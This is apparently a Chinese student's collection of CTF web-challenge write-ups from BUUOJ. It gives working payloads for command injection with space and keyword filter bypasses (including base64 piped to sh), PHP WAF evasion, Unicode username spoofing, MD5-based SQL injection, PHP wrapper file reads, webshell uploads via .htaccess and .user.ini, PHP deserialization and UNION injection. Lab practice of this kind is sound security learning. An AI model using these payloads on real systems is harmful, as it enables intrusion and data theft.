目录
[GXYCTF2019]Ping Ping Ping
命令执行过滤空格flag,拼接绕过
[RoarCTF 2019]Easy Calc
waf前端检测,命令执行绕过
原理:利用scandir()列出目录和文件,var_dump()用于输出
原理:利用file_get_contents()读取并输出文件内容
[HCTF 2018]admin
nodeprep.prepare方法漏洞
[BJDCTF2020]Easy MD5
[ZJCTF 2019]NiZhuanSiWei
[MRCTF2020]你传你呢
文件上传的题目
[SUCTF 2019]CheckIn
文件上传
[MRCTF2020]Ez_bypass
md5一些简单函数
[网鼎杯 2020 青龙组]AreUSerialz
反序列化pop链
protected分析:
private分析:
[GXYCTF2019]BabySQli
sql注入
打开界面发现就一个
/?ip=源码一样,然后get传参本地地址 127.0.0.1试一下
提示过滤掉了空格,用%09绕过一下
提示:/?ip= 1fxck your symbol!应该是过滤掉了%
用一下${IFS} {应该被过滤了,用$IFS$1绕过,看一下源码
发现flag被过滤掉了,? *通配符都没了,那试一下拼接把
本来构造是?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php,可是没绕过去
查看资料后有解释说这串代码意为 匹配一个字符串中,是否按顺序出现过flag四个字母(还是不太理解为什么用字符串拼接的方法会被过滤)
所以把flag逆反一下
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php 变量之间用分号不可用&
?ip=127.0.0.1;a=ag&b=fl;cat$IFS$1$b$a.php 错误
f12查看源码看见
或者
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64编码
打开界面没感觉有啥,看一下源码
绿色显示,肯定有用
大概意思就是我有一个waf过滤来确保安全,说明有过滤,
cale.php访问一下
推测waf应该就是不让输出字母,php有一个特性
? num和?num两个的num变量不一样,但url后都会忽略空格
以及特殊符号 都会变为下划线
waf里的是num而不是 空格num
scandir()
函数返回指定目录中的文件和目录的数组。scandir(/)
相当于ls /
var_dump()
相当于echo
例如 file_get_contents(/flag.php)
,读取/flag.php
的代码
?%20num=var_dump(scandir(chr(47))) chr(47) / 因为上面/被过滤掉了用chr代替
?%20num=file_get_contents(chr(47).f1agg) 或者
num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
==>>file_get_contents(/f1agg)
相当于? num=system(cat /f1agg)
打开界面,源码显示需要账户是admin,然后看见下面注册试一下
那这道题,思想就是绕过 admin,但最后又可以用admin登录
先随便注册一个账号,然后查看源码,
访问网站下载zip,打开routes.py
发现注册和登录以及修改密码处只是对数据进行了小写化,而且奇怪的是小写化函数用的不是python自带的,而是自己封装的,直觉告诉我这里存在问题。
于是看一下这个函数是如何封装的 如下
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
## 包引入头
nodeprep.prepare这个方法是将大写字母转换成小写字母,但是它存在一个问题:
它会将unicode编码的ᴬ转化成A
unicode参考表:https://unicode-table.com/en/search/?q=Modifier+Letter+Capital
所以只要我们用 ᴬdmin进行注册,前端虽然是,但是后端就变成了admin所以我们就能绕过去,然后修改密码通过!
打开界面没啥用,看下源码没啥关键的,考察md5,然后再网络包发现一条select语句
md5(string,raw)
string 必需。要计算的字符串。
raw 可选。默认不写为FALSE。32位16进制的字符串
TRUE。16位原始二进制格式的字符串
进行post传参
让我想到了md5中的,
ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’
等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数
输入后,获得源码
get传参,数组绕过,?a[]=3&b[]=4
param1[]=3¶m2[]=4继续数组绕过,只不过是post传参罢了
".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
开始审计代码,get传参,然后text里面肯定是welcome to the zjctf
file里面肯定是useless.php,看见下面有反序列化,所以我觉得这应该是用文件包含然后出源码的擦做,然后password里存的是序列化指向一个获得flag的。
话不多说开整,
file_get_contents($text,'r')==="welcome to the zjctf"
函数作用:吧text文件中的内容,给了r当作字符串处理
所以我们需要自己构建一个文件,然后用伪协议file读取
?text=file://e:\123.txt发现不行,那用一下data
?text=data://text/plain,welcome to the zjctf //不需要加引号
绕过去了第一个。然后伪协议读取useless.php
php://filter/read=convert.base64-encode/resource=useless.php
开心,竟然不是pop链构造那种长度,
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
肯定是this->file出东西
提示我获得了flag,找一找
找到了,但是还有一个小疑问,怎么调用的——tostring呢,源码看一下
捂了捂了,原来是源码echo调用,如果没有echo也应该有一个突出的类的或者里面有wakeup或者destrust魔术方法,前往下一探险
1、前端绕过,抓包修改后缀名,
2、文件内容绕过,用图片马,抓包修改后缀绕过
3、黑名单绕过,那么我们可以改成phtml抓包绕过
4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
5、大小写绕过,抓包后修改后缀为.PHp
7、空格绕过,抓包修改后缀,在后缀后面加上空格
8、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )
9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,
10、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php
11、.user.ini配置文件绕过
大概就是这几种,然后看一下这道题
后缀试了一下,php.php3,php5,phtml过滤的挺多的,然后想想能不能用.htacess
把content-Type改为:image/jpeg试一下
上传成功,.htaccess的作用主要就是把里面2.jpg用php的形式解析
然后就需要上传 2.jpg命名的图片码了,
http://13e5176a-797f-4a6c-b2da-24b94b8f1390.node4.buuoj.cn:81/upload/08c57e4475e1d1a8bd0961e50134b964/2.jpg
蚁建链接,获得flag“
首先传一个,.php文件的发现回显illegal suffix!
然后试一下图片码,
发现过滤了
发现不是image类型,应该是有了文件头校验
然后加上GIF89a
上传成功,然后就需要上传一个配置文件,来进行php解析
通过谷歌的插件,发现该站点使用的是nginx
所以使用.htaccess绕过行不通,因为它是Apache的配置文件
这里我们采用.user.ini来绕过--》
先上传,.user.ini,
auto_prepend_file=1.gif
然后上传 1.gif 木马文件
蚁建链接就行, 这里注意一个点
index.php放最后面http://52758cbb-2d8e-4014-ad0e-0c80cb50c926.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php
然后获得flag,
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id']))
{ $id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg)
{ echo 'You got the first step';
if(isset($_POST['passwd']))
{ $passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{ if($passwd==1234567)
{ echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0'); }
else { echo "can you think twice??"; } }
else{ echo 'You can not get it !'; } }
else{ die('only one way to get the flag'); } }
else { echo "You are not a real hacker!"; } }
else{ die('Please input first'); } }
Please input first
打开以后源码,自己整理一下,捋一下思路
get 传参 id gg ,数组绕过应该就可以
post 传参 passwd 1234567a弱比较绕过
然后高亮显示,flag.php
说明get传参的部分成功绕了过去,接下来就是post了
这就成功了,提交flag对了,竟然没有坑,开心呀!
process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
乍一看,就construct 和 destruct 两个魔术方法
is_valid想要实现的是,ascll在 32-125之间
可是这里的属性都是protected构成的,需要加 \00*\00保护起来,所以我们就需要绕过
举例:本来sex结果上面出现的是*sex,但是*sex的长度是4,
但是上面显示的是6,
发现protect属性序列化的时候格式是%00*%00sex(成员名)
比如 testage长度是7,
但是上面显示的是9,
private属性序列化格式 %00类名%00成员名
%00占一个字节长度,所以age加了类名后变成了%00test%00age长度为9
绕过方法:在php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化没有不可见字符
7.1以下:private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}应该是read()函数这是链尾执行实现flag的方法
所以我们的目标改为是谁调用了read
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") { 只需要让op=2就可以调用read
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
然后我们的目标就是如何让op=2,注意两个等号这是弱比较,接下来会用到
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} 这是三个等号,强比较,会核对值是否相当,以及类型是否一样,我们可以让2为数值型就都可以实现
正好,这是开头,构造结束。
因为这种方式都被注释掉了,所以需要在源码中寻找flag,
或者改为filter伪协议读取,会显示base64编码
先找注入点,只有单引号回显
确定是单引号,试一下万能密码
发现源码有一串字母,没看出来是什么编码,暂时略过
do not hack me! ' or true# 回显别欺骗我 应该是里面有字符被过滤了,419都是被过滤的or被过滤,试了一下大写可以成功绕过,union 没有被过滤试一下联合注入
没思路,突破点肯定是那一串乱码
试一下base64没出来,base32试一下
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
这一看就需要base64出来了,是一条select语句
select * from user where username = '$name'
联合注入:先看一下有几列,最后测试出来
如上测到第四个字段报错,证明只有3个字段数,但没有回显字段名,来到本题考点:猜测三个字段是啥,一般是id、username、password,尝试;
用户名admin尝试成功,
来到本题考点的另一个:mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;这道题显示不是明文,那就是md5加密了,把密码加密
202CB962AC59075B964B07152D234B70 md5 32位编码
' union select 1,'admin','202CB962AC59075B964B07152D234B70'#
试了很多,发现都不对,然后把大写字母换成小写就出来了答案
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
看源码就知道了原因,md5加密需要